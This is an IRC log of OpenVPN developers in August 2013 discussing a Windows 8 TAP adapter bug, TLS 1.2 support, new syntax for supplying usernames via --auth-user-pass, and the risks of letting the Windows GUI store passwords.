that's now in the bug report/summary 14:03 < swg0101> can you link me mattock 14:03 <@mattock> yeah, just a sec 14:04 <@mattock> https://community.openvpn.net/openvpn/ticket/316 14:04 < vpnHelper> Title: #316 (Windows 8 issue: TUN/TAP adapter does not start) – OpenVPN Community (at community.openvpn.net) 14:04 <@mattock> you can create a user account from the "Register" link if you don't have one 14:05 <@mattock> should we call this a day? It's getting a bit late here (10 PM) 14:06 <+novaflash> i think i would like to call it a day when we have reached 24 hours 14:09 <@mattock> oh, 110 minutes left... damn 14:11 <@cron2_> mattock: I'm somewhat lazy today, and since dazo is not there, I'd postpone the other stuff... 14:11 <@mattock> cron2: sounds like a plan 14:11 <@mattock> we got some progress on a few nasty bugs 14:11 * cron2_ has plans to spend some serious time on openvpn patches and git and stuff, but "not today" 14:11 <@mattock> both related to Windows 14:12 <@mattock> "tomorrow" is always good :) 14:14 <@pekster> jamesyonan: Yes, I got my Win8 "Release Preview" eval copy build 8400 to work with --ip-win32 netsh 14:14 <@pekster> It gets an address fine (in tun mode, not other windows options besides --ip-win32) 14:14 <@cron2_> that's good 14:14 < swg0101> pekster: did you get the DNS settings? 14:15 <@pekster> I didn't push any 14:15 <@pekster> It succesfully deleted them though 14:15 <@pekster> http://fpaste.org/30922/75989296/ 14:15 <@pekster> (sorry line wraps, cmd.exe sucks) 14:15 < swg0101> 5 seconds heh 14:16 <@pekster> That's a VM though 14:16 <@pekster> --tap-sleep IIRC defaults to 5 on win32 due to OS limitations 14:19 <@jamesyonan> I don't think --ip-win32 netsh currently handles DNS or other settings 14:22 <@pekster> Looks like it does (netsh_ifconfig_options() in tun.c 14:23 <@jamesyonan> also, someone suggested that the issue only occurs on non-VM windows 8 14:23 <@pekster> Right, you asked if anyone had ever gotten netsh to work, so I figured I'd give it a quick spin 14:24 <@jamesyonan> pekster: are you running on actual Win 8 hardware or just a VM? 14:24 <@pekster> Just the VM for win8; I have a Vista and (for the moment) a win7 box available to me 14:25 < swg0101> raidz: for your machine, does the problem always occur? 14:30 <@raidz> swg0101: 4 our of 10 times or thereabouts 14:30 <@raidz> you will be able to reproduce it 14:31 < swg0101> is this on clean install? 16:05 -!- mattock is now known as mattock_afk 17:31 <@plaisthos> and now new icon for android users! 17:42 <@pekster> So, as it stands today, OpenSSL won't work with any of the TLS1.2 suites due to use of TLSv1_*method() calls. I've tested builds under both Linux and Windows using the TLSv1_2_*method() calls, and this works as expected (and PolarSSL already supports the 'suite B' ciphers as it stands today.) 17:43 <@pekster> The downside to modifying that in the source is that any system not supporting TLS1.2 in their openssl implementation will not have these functions available. Is there a set way to handle that (I'd like to avoid more #ifdef...) 17:43 <@pekster> I can toss up the working patch to the ML too and we can debate how to handle it there, but I didn't know if any SSL-aware folks here happened to know offhand how that works (or how we _want_ it to work) 17:57 <@pekster> Oh, and this changed in some of the git stuff, so disregard until I can balance that between the recent changes and --tls-version-min stuff 18:07 -!- swg0101 [~swg0101@openvpn/user/swg0101] has quit [Ping timeout: 256 seconds] 18:07 <@pekster> I guess the git master status "already works" (and James' negotiation stuff is slick.) The SSLv32_method() call docs are apparently out of date, since by TLSv1 they also mean "and later standards in 1.x" which wasn't apparent. Oh well. 18:07 <@pekster> v23* 19:17 -!- raidz is now known as raidz_away 22:21 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 23:42 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Fri Aug 09 2013 01:17 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds] 01:19 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 01:19 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 01:19 -!- dazo_afk is now known as dazo 02:27 < syzzer> pekster: yes, really confusing stuff... 02:28 < syzzer> did you test the suite B algorithms with a git master build? 03:43 -!- swg0101 [~swg0101@openvpn/user/swg0101] has quit [Quit: Leaving.] 09:16 <@pekster> syzzer: Yea, worked well using git head 09:17 <@pekster> My fault for starting to hack on a bit of code that was already changed in git, but I suppose I learned more about some of the OpenSSL internals and (potential lack of) documentation 09:58 < syzzer> hehe, must have been a real joy ;) 09:59 -!- waldner [waldner@openvpn/user/waldner] has quit [Remote host closed the connection] 11:04 -!- raidz_away is now known as raidz 11:21 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 11:35 -!- swg0101 [~swg0101@openvpn/user/swg0101] has quit [Ping timeout: 264 seconds] 11:56 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 13:09 -!- swg0101 [~swg0101@openvpn/user/swg0101] has quit [Ping timeout: 246 seconds] 15:53 < vpnHelper> RSS Update - testtrac: Added "setenv opt" directive prefix. If present, and if the <https://github.com/OpenVPN/openvpn/commit/2a92fba756d4c1e73300a12ff9e80028a6ab7c09> || TLS version negotiation <https://github.com/OpenVPN/openvpn/commit/4b67f9849ab3efe89268e01afddc7795f38d0f64> || autoconf: Fix typo <https://github.com/OpenVPN/openvpn/commit/8065cd1c65273ef05ba2ac66f15224e170a57290> || plugin: Extend the plug-in v3 API to identif 21:24 -!- raidz is now known as raidz_away 22:51 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 264 seconds] 22:53 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 22:53 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Sat Aug 10 2013 02:42 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 04:01 -!- swg0101 [~swg0101@openvpn/user/swg0101] has quit [Quit: Leaving.] 12:04 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 15:35 <@plaisthos> !git 15:35 < vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 15:35 < vpnHelper> or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 15:44 -!- swg0101 [~swg0101@openvpn/user/swg0101] has quit [Quit: Leaving.] 16:00 < vpnHelper> RSS Update - tickets: #317: verify-x509-name in config file doesn`t work with spaces <https://community.openvpn.net/openvpn/ticket/317> 19:24 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 19:37 -!- swg0101 [~swg0101@openvpn/user/swg0101] has quit [Quit: Leaving.] --- Day changed Sun Aug 11 2013 00:56 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 03:19 -!- swg0101 [~swg0101@openvpn/user/swg0101] has quit [Quit: Leaving.] 07:12 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 240 seconds] 07:19 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:19 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:12 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 08:13 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 08:13 -!- mode/#openvpn-devel [+o andj] by ChanServ 08:19 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 13:03 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 13:10 -!- swg0101 [~swg0101@openvpn/user/swg0101] has quit [Quit: Leaving.] 15:12 -!- swg0101 [~swg0101@openvpn/user/swg0101] has joined #openvpn-devel 15:13 -!- swg0101 [~swg0101@openvpn/user/swg0101] has left #openvpn-devel [] --- Day changed Mon Aug 12 2013 04:25 <@d12fk> plaisthos: you are probably right about your comment in #317. I would have thought the same 04:27 < reiffert> but-having-spaces-is-so-real-worldish. 04:29 <@d12fk> it is both: happening in configs and supported =) 05:10 <@plaisthos> d12fk: I know how the parser works. There is no reason that command line should behave different from in config file 10:13 -!- raidz_away is now known as raidz 10:46 <@plaisthos> stupid bionc 10:52 <@plaisthos> for some reason #ifdef defined(IPPROTO_IP) fails on bionc 10:52 <@plaisthos> even though it works on glibc 10:52 <@plaisthos> and both have the same linux/in.h header 10:56 <@plaisthos> int IPPROTO_IP=0; 10:56 <@plaisthos> #include <linux/in.h> 10:56 <@plaisthos> #if defined(IPPROTO_IP) 10:57 <@plaisthos> gives an error about redifining of IPPROTO_IP but than #if defined does not match 11:29 <@plaisthos> argh 11:29 <@plaisthos> there is a #define IPPROTO_IP IPPROTO_IP in a netinet/in.h which glibc has but not bionc 12:05 <@plaisthos> Aug 12 18:56:36 hermes ovpn-tcp[23706]: 131.234.73.197:55739 Control Channel: TLSv1.2, cipher TLSv1/SSLv3 DHE-RSA-AES256-GCM-SHA384, 1024 bit RSA 12:05 <@plaisthos> :) 12:09 <@pekster> 4b67f98 just makes everything better 14:42 < vpnHelper> RSS Update - testtrac: Added "setenv opt" directive prefix. If present, and if the <https://github.com/OpenVPN/openvpn/commit/2a92fba756d4c1e73300a12ff9e80028a6ab7c09> || TLS version negotiation <https://github.com/OpenVPN/openvpn/commit/4b67f9849ab3efe89268e01afddc7795f38d0f64> || autoconf: Fix typo <https://github.com/OpenVPN/openvpn/commit/8065cd1c65273ef05ba2ac66f15224e170a57290> || plugin: Extend the plug-in v3 API to identif 14:58 <@cron2_> */sb end 14:59 <@cron2_> oops :) (signs of life!) 16:32 <@plaisthos> :D 20:02 -!- raidz is now known as raidz_away --- Day changed Tue Aug 13 2013 06:53 -!- mattock_afk is now known as mattock 07:34 -!- fields2grand [~Phil@wsip-72-200-248-82.om.om.cox.net] has joined #openvpn-devel 07:41 < fields2grand> morning folks! Got directed here by Samuli. I'm looking to pay someone for some consulting/configuration of an openvpn network. Omaha is getting gig service and I want to set up 2 locations on gig and start a vpn service. I'm hoping I can find help here. 08:14 <@mattock> fields2grand: you can also try #openvpn channel 08:14 <@mattock> more people there 08:15 <@mattock> updated 2.3.2 windows installers finally on openvpn.net: http://openvpn.net/index.php/download/community-downloads.html 08:15 < vpnHelper> Title: Community Downloads (at openvpn.net) 08:23 < fields2grand> I will try that. Thanks mattock 08:59 <+novaflash> yo mattock do you check your PM's on the internal chat system? 10:42 -!- raidz_away is now known as raidz 13:33 < waldner> what do people think about http://thread.gmane.org/gmane.network.openvpn.devel/7776 ? is something like this likely to be accepted? 13:33 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:53 <@mattock> waldner: I think that makes sense 13:53 <@mattock> I'd personally have need for that actually 13:53 < waldner> me too. In fact, I'm asking because I wanted to take it a bit further, but before doing anything I thought I'd ask, to avoid wasting time 13:54 <@cron2_> waldner: it sounds useful. The issue right now seems to be that everybody is either on vacation or horribly busy :-( 13:54 < waldner> I'd even introduce an option like auth-user-pass-username or whatever, to put the username directly in the config 13:54 < waldner> yes, sure 13:55 < waldner> so I'll see if I can take that patch as a starting point and build upon it 13:56 < waldner> (I'm quite busy now, too, but anyway) 14:20 <+krzee> good day waldner =] 14:33 -!- mattock is now known as mattock_afk 16:11 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 16:12 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 16:22 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 16:35 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:20 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 246 seconds] 17:20 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 17:25 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:37 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 17:39 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 20:21 -!- raidz is now known as raidz_away --- Day changed Wed Aug 14 2013 02:04 -!- mattock_afk is now known as mattock 02:52 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 10:17 -!- raidz_away is now known as raidz 11:41 -!- raidz is now known as raidz_away 11:48 -!- raidz_away is now known as raidz 12:54 < waldner> http://pastebin.com/raw.php?i=DjGZfmPi <--- this would be the semantics for the change I mentioned yesterday. It is backward compatible with existing configurations, and also allows for the semantics defined by the previous patch (http://article.gmane.org/gmane.network.openvpn.devel/7776). If people think it is reasonable, I'll try to go ahead. Of course, any suggestion or criticism is welcome. 12:54 < vpnHelper> Title: Gmane -- PATCH Support for username only auth file. (at article.gmane.org) 13:04 <@mattock> waldner: what if it only read the "credfile" and used the first one as the username and the second one as the password 13:04 <@mattock> would simplify the semantics 13:05 < waldner> mattock: you mean in the username:credfile case? 13:05 <@mattock> I mean we'd only modify the parsing logic of the credfile 13:05 <@mattock> so you'd have 13:05 <@mattock> --auth-user-pass 13:05 <@mattock> --auth-user-pass credfile 13:05 < waldner> but I don't want to create a file just to put a username in it 13:06 <@mattock> yes, I thought so :) 13:06 < waldner> but still, with the proposed patch, one could if they wanted 13:06 < waldner> I think it's convenient to be able to give the username in the config 13:07 <@pekster> How about a flag after the [up] option defining that the value isn't a traditional "up" file but the literal username? 13:07 <@pekster> That prevents "yet another" option from being added to the already insane options-list 13:08 < waldner> well, I'm not adding any new option anyway 13:08 < waldner> auth-user-pass already exists 13:08 <@mattock> does "--auth-user-pass username:credfile" give us anything? 13:08 <@mattock> that can't be achieved with the other combinations 13:08 < waldner> password in the credfile 13:09 < waldner> which should be one line 13:09 <@mattock> but if you create a file anyways, you could just as well add the username there, right? 13:09 < waldner> if it's two, then user probably is doing something wrong, and we warn 13:09 < waldner> mattock: yes, but I was trying to also allow the semantics that the author of the previous patch intended 13:10 < waldner> if it were for me, I would go straight with either username in the config and prompt for password, or everything in credfiile 13:10 <@pekster> The use of a colon prohibits the use of usernames with a colon in them, fwiw. Rare thought it may be... 13:10 <@mattock> do you have a link to the original patch? 13:10 < waldner> http://article.gmane.org/gmane.network.openvpn.devel/7776 13:10 < vpnHelper> Title: Gmane -- PATCH Support for username only auth file. (at article.gmane.org) 13:11 < waldner> pekster: not necessarily, as long as either credfile is not given, or credfile has no colons 13:11 < waldner> but I agree it can probably make more robust 13:12 <@pekster> Problem is how do you know if "my:user" means the username is "my:user" or the username is "my" with a credfile of "user" ? 13:12 <@mattock> it seems that email thread has no responses... what if the latest proposal (http://pastebin.com/raw.php?i=DjGZfmPi) was sent there? 13:12 < waldner> if it were a username, it had to be my:user: 13:12 <@pekster> Oh, I see 13:12 < waldner> but still, if credfile has colons, that doesn't work 13:13 <@pekster> One hopes people aren't doing that :P 13:13 < waldner> pekster: correct :) 13:13 <@pekster> This is mostly theoretical anyway as the string remapping makes ':' chars in usernames into _, but that can be disabled for sites that need to support it 13:13 < waldner> mattock: yes, since noone replied I thought I'd ask to see if there is interest 13:14 < waldner> (now that I think about it, under windows it's quite easy that one says c:\something as a credfile, so the colon is a no-no) 13:14 <@pekster> I'm personally not likely to ever want/use the feature, but I'm not really opposed to a clean implementation as long as it's not too insanely complicated on either the dev or user end. It's a possible user-benefit, but also possibly the cause of issues if the "incorrect" username is provided and the user can't figure out why 13:15 < waldner> it's just that I don't want to input user AND password everytime I start the VPN, but at the same time I don't want to put it in a file, which someone might read somehow 13:16 < waldner> and even if noone reads it, I'm not confortable with having such a file (which doesn't mean other people feel the same, hence the flexibility) 13:16 <@pekster> A management wrapper might be a cleaner way to implement this since it can feed the same u/n and just prompt you (via whatever interface you want) for the p/w and send it to the program 13:17 <@mattock> I think the only thing that could simplify the syntax and reduce user errors would be to keep current syntax, but allow storing only the password in the credfile 13:17 < waldner> mattock: agreed 13:17 < waldner> well 13:17 <@mattock> sorry, only the _username_ 13:17 <@mattock> so keep the 13:17 <@mattock> username 13:17 <@mattock> password 13:17 <@mattock> order in the file 13:18 < waldner> ah 13:18 <@mattock> or if we don't want to create files, it's the proposed syntax 13:18 <@mattock> but we could take this to openvpn-devel and see what others think about this 13:18 < waldner> well, we could always treat username:credfile as error and bail out 13:19 <@mattock> yep, that's an option too 13:19 < waldner> so one either gives a credfile only (2 lines: user/pass, 1 line: user) 13:19 < waldner> or a username: only (prompt for password) 13:19 < waldner> or nothing (prompt for user and pass) 13:19 < waldner> I like this too 13:19 <@mattock> yeah, that sounds a fairly good compromise also 13:19 < waldner> ok 13:20 < waldner> and still compatible with the other patch 13:20 <@mattock> I'm a bit suspicious of the "username:credfile" syntax, as it could cause some support issues 13:20 <@mattock> people might think it's "username:password" 13:20 <@mattock> uh 13:20 < waldner> so we just barf on it and fail 13:20 < waldner> right 13:20 <@mattock> yep, failing is a better strategy I think 13:20 < waldner> so we can say that if the given string ends with a colon, it's a usernam (and only then) 13:21 <@mattock> yep 13:21 <@pekster> I don't see the use-case for a username in the config but pw in a file. I possibly see the use of suppying the username only, but I'd prefer to avoid the issue of parsing a delimiter at all 13:21 < waldner> if someone has a credfile whose name ends with a colon, they deserve pain imho 13:21 < waldner> pekster: yes, so with this last agreement we're not allowing a file with only the password 13:21 < waldner> the file either has user/pass, or only user 13:22 < waldner> (or we can allow for \: at the end in that case, but it's a trivial change) 13:22 <@pekster> This is why I suggested another optional 'flag' value as a 2nd argument that tells the parser "this is the raw username, not a pwfile", and that's only if the goal is to put the u/n in the config directly. I sort of have a +0 feeling on it now (not aginst it, but not really for it either) 13:22 < waldner> pekster: ah I see 13:22 <@pekster> It's more complicated and has the potential to hide problems from users 13:22 < waldner> yes, that would replace the : 13:23 < waldner> so if one says blah, it's a file 13:23 < waldner> if one says "blah X" (or whatever) it's a username 13:23 <@mattock> pekster: what kind of 2nd argument? 13:23 < waldner> and we avoid parsing problems and issues with weird filenames 13:23 <@mattock> --auth-user-pass username myusername? 13:23 < waldner> I like this one 13:23 <@pekster> eg: --user-auth-pass myuser isuser (or whatever, I don't really care about the name) 13:24 <@mattock> --auth-user-pass user johndoe 13:24 < waldner> or if there are two args, *and* the first one is "user" 13:24 < waldner> yeah 13:24 <@pekster> That works too, if p[1] is "user" and p[2] is non-zero 13:24 <@pekster> Yea 13:24 < waldner> right 13:24 < waldner> this is probably the cleanest 13:24 <@pekster> Just needs to cleanly fail in the case where p[1] is "user" and that really is supposed to be the traditional pw file 13:24 <@mattock> --auth-user-pass file mycredfile 13:24 <@pekster> Well, "fail" by "use the traditional method" 13:25 < waldner> mattock: that breaks existing configs 13:25 < waldner> if you introdice "file" for files 13:25 <@mattock> I'm just wondering if "file" could be the default 13:25 <@mattock> and if the parses could handle it 13:25 < waldner> yes, that's how it is now 13:25 <@pekster> Then p[2] is NULL and we can assume p[1] is the file 13:25 <@mattock> parser 13:25 < waldner> I'd do 13:25 < waldner> if one argument: it's a file (can have one or two lines) 13:25 < waldner> if two arguments: if p[1] is NOT "user", fail 13:26 < waldner> if p[1] is "user", p[2] is the username, prompt for password 13:26 <@mattock> yeah, that should be doable 13:26 < waldner> and it's still compatible with the other patch 13:26 < waldner> great! 13:27 <@mattock> of course, if one wants to have a credfile called "user", he/she deserves pain :D 13:27 < waldner> no, that just works 13:27 < waldner> if there is only one argument, it's assumed to be a file 13:27 <@mattock> oh yes 13:27 <@mattock> my bad 13:27 <@mattock> then it's pretty much perfect until somebody else shoots it down :P 13:27 <@mattock> got to go, good discussion! 13:28 < waldner> yes, so I'm going to work out a patch along these lines and send it to the list, also making reference to the other 13:28 <@mattock> sounds good 13:28 < waldner> thanks for the feedback! 13:28 < waldner> mattock: pekster thanks! 13:28 < waldner> er 13:28 < waldner> mattock: thanks 13:28 < waldner> pekster: thanks 13:28 < waldner> that's better :) 13:28 <@mattock> np 16:35 -!- chiiph_ [~chiiph@unaffiliated/chiiph] has quit [Quit: No Ping reply in 180 seconds.] 16:35 -!- chiiph [~chiiph@unaffiliated/chiiph] has joined #openvpn-devel 19:11 -!- raidz is now known as raidz_away 19:11 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 19:13 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 19:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:19 -!- novaflash is now known as novaflash_away 21:31 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 21:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 21:32 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Aug 15 2013 02:05 -!- novaflash_away is now known as novaflash 03:07 <@plaisthos> waldner: what about allowing auth-user-file to be inline? 03:07 <@plaisthos> like 03:07 <@plaisthos> <auth-user-pass> 03:07 <@plaisthos> username 03:07 <@plaisthos> </auth-user-pass> 03:07 <@plaisthos> then you could embed the file simply in the main configuration 03:08 <@plaisthos> and would be the same as embedding other files into the main openvpn configuration 03:08 <@plaisthos> instead of inventing a new syntax only for auth-user-pass 03:12 <@pekster> Should that depend on ENABLE_PASSWORD_SAVE too? 03:12 <@d12fk> probably not, as it's not a password 03:12 <@d12fk> +1 for inline 03:13 <@pekster> Unless it's parsing it just like the external file 03:13 <@pekster> As the external file does allow both (or does the inline logic reject that? Then it what, asks only for a password not the user from stdin or the managemnt interface?) 03:13 <@d12fk> hm true, ENABLE_PASSWORD_SAVE enables reading the file in the first place 03:13 <@pekster> Right, hence the question 03:14 <@d12fk> changing the semantics of ENABLE_PASSWORD_SAVE will probably induce some confusion 03:14 <@plaisthos> I never understood the rationale behind ENABLED_PASSWORD_SAVE 03:14 <@plaisthos> private key is okay but password not... 03:15 <@pekster> I don't know if the idea was to keep users from putting plaintext passwords on their disk unless they got a non-defualt build? 03:15 <@d12fk> that ^ 03:15 <@plaisthos> pekster: yeah, but all distros ship with ENABLE_PASSWORD_SAVE 03:15 <@plaisthos> and our windows build does too 03:15 <@pekster> The windows build doesn't, no? :) 03:15 <@d12fk> well, that's their problem then.... =) 03:15 <@plaisthos> pekster: pretty sure 03:16 <@plaisthos> I have a config with a password in a file with openvpn 2.3.1 03:16 <@d12fk> actually it's more a crypto geek mindset to have it disabled in the default cfg, not more 03:17 <@d12fk> user want it hence it's enabled anywhere in practise 03:17 <@pekster> Not a huge deal either way, I just want to make sure the change/decision is 1) intentional and 2) hopefully consistent with whatever we do with the traditional external access 03:17 <@pekster> ie: if we allows passwords inline without the define, let's just get rid of it in the external file too 03:17 <@d12fk> i'd vote for the existing semantics with inline as well 03:18 <@d12fk> and then decide to get rid of ENABLE_PASSWORD_SAVE in a related discussion =) 03:18 <@plaisthos> d12fk: agreed 03:18 <@plaisthos> the source code of ENABLE_PASSWORD_SAVE is funny 03:18 <@d12fk> we could invert the configure option, so the paranoid ones still have the option 03:18 <@plaisthos> if (flags & GET_USER_PASS_SENSITIVE) 03:18 <@plaisthos> msg (M_FATAL, "Sorry, '%s' password cannot be read from a file", prefix); 03:19 <@plaisthos> but the code for reading and stuff is always compiled %) 03:20 <@d12fk> donwside of inline is that the config is self must be protected 03:20 <@d12fk> in caontrast to just the password file 03:20 <@d12fk> but does openvpn care anyway? 03:20 <@pekster> No worse really to an arbitrary file hanging around 03:21 <@d12fk> the private key can be password protected inline or separate 03:21 <@plaisthos> d12fk: but that is the same with <pkcs12> and <key> 03:21 <@pekster> If they're unencrypted; traditionally key files are encrypted, but they wouldn't have to be 03:22 <@pekster> The feature could come with a nice warning in the manpage that passwords in config files are Bad 03:22 <@pekster> Or just let the user figure it out... :) 03:23 <@d12fk> in the future the gui will deal with storing the password somewhere in the HKCU registry hive 03:23 <@pekster> I like the inline idea though, +1 to that 03:23 <@d12fk> other OSes could follow, like nm 03:24 <@pekster> We clearly need an --enable-camera-read-pw-from-postit feature too 03:24 <@plaisthos> ics-openvpn does already treat <auth-user-pass> as inline when importing config files ;) 03:24 <+krzee> lol 03:24 <@d12fk> so credentials in the config will only matter for automatic clients 03:25 <@pekster> Oh, that wasn't a joke? (the GUI thing using the registry??) I hope that's opt-in... 03:25 <@pekster> That's neither encrypted storage, nor hard for an attacker to swipe offline 03:29 <@d12fk> there will be an otpional master password based encryption 03:29 <@d12fk> and it's as secure as the user-pass file at least, while being more convenient 03:30 <@pekster> I think that's an awful idea to have the GUI manage the storage of the password 03:30 <@pekster> if it needs a master password anyway, there's no gain. And no using one means it's as insecure as using the external file to begin with (which can be inlined after this patch being discussed) 03:30 <@pekster> Plus it's "one more thing" to worry about getting cryptographically secure 03:31 -!- dck28 [~dennis@n058152074193.netvigator.com] has joined #openvpn-devel 03:31 <@d12fk> it's maily for conveniance, as it enables the user to manage the passwords himself regardless of the place where the config is stored 03:33 < dck28> hey everyone, I'm getting an "error parsing ca certificate : X509 - The date tag or value is invalid" when trying to connect through iOS on a iPhone. I've inserted the ca.crt manually to the ovpn file. Any suggestions what's the problem? thanks a bunch 03:34 <@pekster> It's just a slippery slope making that an easy-to-access feature for versions used "in the wild" if users of shops that are security-concious suddenly have their users clicking a "remember my password" checkbox and declining to put a "master password" on it 03:34 < dck28> when I preview the ca.crt file on my mac, I can perfectly read that it's valid from July 19, 2009 to July 17, 2019. 03:35 <@d12fk> there will be a pushable otpion the disallow storage of the passwords, so admins can actually discourage users of doing so 03:36 <@pekster> Um, how does that work if the GUI prompts for it before remote options negotaition takes place? 03:36 <@d12fk> but from what i learned most don't care 03:36 <@pekster> I still think it's an awful feature. At the very least, drop in a registry key managable by HKLM that turns it off for sites that do care 03:36 <@d12fk> dletes the password from registry and works the next time 03:37 <@d12fk> yeah that could also be done 03:38 <@pekster> Maybe a 3-mode value: disallow, allow with any type of storage, or allow with encrypted storage only 03:39 <@d12fk> the service could actually be used to modify the hklm storage at reception of pushed directives as well 03:39 <@d12fk> so, it's centrally managable and not modifyable 03:40 <@pekster> Per-config in that case? I'd hope $vpn_config1 can't set HKLM values that impact how $vpn_config2 (say a corpoarte shop) handles things 03:40 <@pekster> Again, slippery slope here 03:40 <@d12fk> must be per config 03:41 <@d12fk> you're just too concerned. security is never easy =) 03:41 <@pekster> No, but preventing the users from shooting themselves in the foot is often a good place to start 03:41 * plaisthos has to look if android prng fail affects openvpn :/ 03:41 <@plaisthos> http://android-developers.blogspot.de/2013/08/some-securerandom-thoughts.html 03:41 < vpnHelper> Title: Some SecureRandom Thoughts | Android Developers Blog (at android-developers.blogspot.de) 03:41 <+krzee> maybe the server could deny access to clients who admit they have the ENABLE_PASSWORD_SAVE bit set 03:42 <@pekster> Problem is it's a GUI thing, so "openvpn" doesn't really care 03:42 <+krzee> oh 03:42 <@pekster> Any options pushed are basically treated just like the DHCP stuff is on Linux 03:43 <@pekster> It's just the concept of a GUI by defualt offers to save passwords, then optionally won't encrypt them as it saves them to disk; that's a dis-feature IMO 03:43 <+krzee> i agree 03:43 <@pekster> But, paired with a way for admins who *do* care to stop users from doing that, and docs to go with it, I give it a -0.25, not a -1 :P 03:44 <@d12fk> it could be disabled in the default install and then enabled by pushed fromthe respective servers e.g. 03:44 <+krzee> thats an idea 03:44 <@pekster> That'd be a nicer way to go. I'd be more on-board with that 03:44 <@d12fk> way better than shipping a ENABLE_PASSWORD_SAVE ovpn binary 03:46 <@pekster> `Some --push setenv-safe win32-allow-pass-save $value` 03:46 <@pekster> Or w/e, with value false, true, encrypted 03:46 <@d12fk> i wouldn't make it a win32 option 03:47 <@pekster> I just think the solution should be opt-in (from whatever side "controls" it, however that is) and that admins need a way to stop it from happening 03:47 <@d12fk> and rather an "echo" 03:48 <@pekster> Ah, I haven't really toyed much with the --echo feature, but yea; I meant it more in the abstract "some signaling option during handshake" 03:48 <@d12fk> oh handshake would require OCC then 03:48 <@d12fk> is that something that's still open for extension? 03:49 <@d12fk> iirc OCC is before auth 03:49 <@pekster> Does it matter too much? If the GUI is just picking it up, it doesn't need to be part of the OCC hash, right? 03:49 <@d12fk> but could be forged by an attacker then... 03:50 <@d12fk> we should not take orders from an unauthed server 03:50 <@d12fk> and i also think OCC data is only available within ovpn 03:51 <@pekster> Right, seems to match a quick glance at the process; a pushed option would be both after auth and TLS-secured though 03:51 <@d12fk> ... which wouldn't matter if we'd use the service for enforcement 03:52 <@pekster> The new --setenv opt foo commit makes pushing something that unsupporting versions can't handle easy 03:53 <@pekster> Drop that in, have the GUI handle it (as could future GUIs for any platform) and act accordingly? 03:54 <@d12fk> have to make sure we can trust the gui then. probably feasable with the service 03:54 <@pekster> The user's already launching openvpn via it and entering credentials; if they're doing that to an "untrustworthy" GUI, the game is already over from a security viewi 03:55 <@d12fk> not if they just modify it to not adhere to the server policy regarding pwd storage 03:55 <@d12fk> but generally yes 03:56 <@d12fk> the windows install has more leaks that need to be taken care of first however 03:56 <@pekster> No real way around that since it's open-code anyway. If a user wants to try *that* hard it's far easier to use one of the dozen or so interactive scrpiting langauges to just "key" in the password and think they're so clever 03:56 <@d12fk> maybe we can discuss this i movember more closely 03:57 <@pekster> Yea, I don't really care about implemetnation details (I haven't yet dug that deep in win32, and hope not to for a while) but just the higher-level knobs to tweak its operation 03:57 * waldner is reading the backlog 03:57 <@d12fk> with the service we can make sure that the gui binary was started from a file in a location that is read only at least 03:57 <@d12fk> ... or at a predefined path 03:58 <@pekster> waldner: tl;dr is that it may be far better to use the inline file support for --auth-user-pass, like how <key> and <pkcs12> work today. It will simply refuse to eat the password when ENABLE_PASSWORD_SAVE isn't defined, just like the external file 03:58 <@pekster> That seemed to get support from a couple here this morning 03:59 < waldner> right 03:59 <@pekster> Then we got onto win32 GUI discussions :P 03:59 < waldner> however we must continue to support the existing semantics 04:00 < waldner> so this would be extending the existing syntax, plus adding support for inlining 04:00 < waldner> versus using the existing syntax only and extending it 04:01 < waldner> I'm not worried 